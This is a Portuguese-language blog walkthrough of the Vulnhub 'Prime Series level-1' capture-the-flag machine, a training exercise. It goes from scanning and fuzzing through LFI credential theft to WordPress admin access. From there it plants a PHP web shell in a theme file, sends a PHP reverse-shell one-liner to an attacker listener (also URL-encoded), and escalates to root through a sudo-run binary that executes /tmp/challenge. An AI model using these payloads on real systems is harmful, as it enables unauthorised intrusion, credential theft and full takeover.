Home Vulnhub - Prime Series level-1
Post
Cancel

Vulnhub - Prime Series level-1

Link da Maquina: https://www.vulnhub.com/entry/prime-1,358/

Scan/Enumeracao

Host Discovery

  • Descobrindo os hosts que estao de pe na rede
1
sudo arp-scan -I eth1 192.168.150.0/24

Port Discovery

  • Verificando quais portas estao abertas no alvo
1
sudo nmap -n -T5 -p- 192.168.150.113

Port Scan

  • Com o nmap -A vamos verificar o que esta rodando na porta 22 e 80 e quais sao as versoes
1
sudo nmap -n -T5 -A -p 22,80 192.168.150.113

Exploracao

Web

Acessando a pagina pelo browser

  • Acessando a pagina web. Nao tem nada no codigo fonte. A principio e so uma imagem

Fuzzy de diretorios

  • Depois de mais de 1 hora fazendo o fuzzy de diretorios, conseguimos um norte para seguirmos o nosso caminho…

  • Primeiramete vamos fazer o fuzzy na pagina principal em busca de diretorios e arquivos .php, .js e .txt

1
gobuster dir -u http://192.168.150.113/ -w /usr/share/wordlists/dirb/big.txt -x php,js,txt

  • Acessando o /dev temos um texto que fala que estamos no nivel 0

  • No fuzzy temos um arquivo secret.txt que nos chamou atencao. Acessando ele temos algumas dicas. A primeira dica que ele nos da e para fazer o fuzzy nas paginas php, a segunda dica que ele nos da e para utilizar o wfuzz e na ultima dica ele nos diz que o proximo passo esta no location.txt

  • Utilizando o wfuzz, vamos fazer um fuzzy nas paginas php, conforme a primeira dica. Antes de procurar pelo arquivo temos que saber qual e a pagina .php que conseguiremos acessar o arquivo e qual e o parametro para podermos chama-lo
1
wfuzz -c --hw 12 -w /usr/share/wordlists/dirb/big.txt -u http://192.168.150.113/index.php?FUZZ=qlqr_arquivo

  • Agora que ja sabemos qual e o parametro, vamos fazer um fuzzy para tentar achar um arquivo “.txt”. Fizemos esse processo, mas pensando bem poderiamos procurar direto o location.txt, de acordo com a terceira dica do arquivo secret.txt
1
wfuzz -c  --hw 19 -w /usr/share/wordlists/dirb/big.txt -u http://192.168.150.113/index.php?file=FUZZ.txt

  • O arquivo location.txt contem uma outra dica. Ele nos diz para usarmos o parametro secrettier360 em uma outra pagina php

  • O parametro secrettier360 pode ser utilizado na pagina image.php

LFI

  • Conseguimos um LFI na aplicacao depois de seguir todas as dicas. Bom… agora conseguimos dar uma olhada no /etc/passwd
1
http://192.168.150.113/image.php?secrettier360=../../../../../../etc/passwd

Verificando os usuarios nao padrao do sistema temos dois, victor e saket.

No usuario saket tem uma dica no nome dele, find password.txt file in my directory

  • O conteudo do aquivo password.txt e follow_the_ippsec
1
http://192.168.150.113/image.php?secrettier360=../../../../../../home/saket/password.txt

Wordpress

  • Nao conseguimos logar na pagina do wordpress com o usuario saket

  • Conseguimos acessar a pagina de administracao do wordpress com as credenciais victor:follow_the_ippsec

  • Depois de muito tempo procurando alguma brecha no wordpress, achamos o tema secret.php, que no seu conteudo nos diz que finalmente achamos um arquivo gravavel. Para chegar ate ele entramos na aba “Appearance” > “Theme Editor” > “secret.php”

RCE

  • Agora e so inserir o fomoso backdoor php para executarmos codigo via URL
1
<?php system($_GET['cmd']); ?>

  • Naquela brincadeira sem graca, no comeco do CTF, de fuzzy de diretorios achamos o endereco http://192.168.150.113/wordpress/wp-content/themes/, onde provavelmente sao armazenados os temas da aplicacao.

  • Agora temos um RCE passando comando via URL

1
http://192.168.150.113/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=id

Shell Reverso

  • Primeiro vamos procurar, usando o rbscheat, por um comando php para nos dar um shell reverso
1
rbscheat -i 192.168.150.113:443 -l php

php -r ‘$sock=fsockopen(“192.168.150.110”,443);exec(“/bin/sh -i <&3 >&3 2>&3”);’

  • Depois utilizamos o Burp Suite para encodar o comando

  • Vamos deixar a porta escutando na kali e enviar o comando de shell reverso via URL
1
http://192.168.150.113/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%31%30%22%2c%34%34%33%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27

  • Melhorando o shell cachorro que recebemos
1
2
3
script /dev/null
export TERM=xterm
python -c "import pty;pty.spawn('/bin/bash')"

Escalando Privilegio

Arquivos e Diretorios

  • Seguindo a metodologia, procuramos por arquivos e diretorios com permissao de escrita e SUID
1
find / -type d -writable 2> /dev/null | fgrep -v proc

Aqui estamos procurando por diretorios com permissao de escrita

1
find / -type f -writable 2> /dev/null | fgrep -v proc | fgrep -v sys

Aqui estamos procurando po arquivos com permissao de escrita

1
find / -type f -perm -4000 2>/dev/null | fgrep -v proc

E aqui estamos procurando por arquivos com permissao especial SUID

Programas/Binarios

  • O proximo passo e verificar se podemos executar alguma coisa como sudo
1
sudo -l 

  • Ao tentar executar o enc ele pede uma senha

  • Entao varrendo os diretorios da maquina alvo encontramos no diretorio /opt/backup/server_database um arquivo backup_pass. O conteudo deste arquivo diz que a senha para o enc e backup_password

  • Agora que temos a senha podemos executar o enc com o sudo

NOTA: Para dar certo tem que executar o enc usando o seu caminho absoluto, caso contrario, mesmo que esteja no mesmo diretorio, ele nao autentica com a senha encontrada

  • Lendo os arquivos gerados pelo enc temos um texto criptografado e uma dica informando que a chave para descriptografar e a string “ippsec” convertida para hash md5

  • Convertendo a string ippsec para hash md5

366a74cb3c959de17d61db30591c39d1

  • Procuramos na internet e achamos esse script para podermos descriptografar a mensagem
1
2
3
4
5
6
7
8
from Crypto.Cipher import AES
from base64 import b64decode


data = b64decode(b"nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=")
key = b"366a74cb3c959de17d61db30591c39d1"
cip = AES.new(key,AES.MODE_ECB)
print(cip.decrypt(data).decode("utf-8"))

  • Para executar o arquivo tivemos que instalar algumas dependencias, pois estava dando erro na importacao da biblioteca
1
2
sudo apt-get install python3-pip
pip install pycryptodome==3.4.3
  • Agora conseguimos executar o script

tribute_to_ippsec

Usuario “saket”

  • Vamos logar com o usuario saket

  • Listamos os binarios que podem ser executados com o sudo
1
sudo -l

  • Ao executar o binario e exibido uma mensagem de afronta e um erro de “not foud” do arquivo /tmp/challenge

  • Provavelmente esse arquivo que nao foi encontrado sera executado como root. Entao vamos criar esse arquivo para nos enviar um shell e consequentemente viraremos ROOT!
1
2
3
4
5
6
echo "/bin/sh" > /tmp/challenge
chmod +x /tmp/challenge
cat /tmp/challenge
sudo /home/victor/undefeated_victor
python -c "import pty;pty.spawn('/bin/bash')"
id

  • Pronto, agora somos ROOT!

Flag

  • Conseguimos pegar a flag

This post is licensed under CC BY 4.0 by the author.
Contents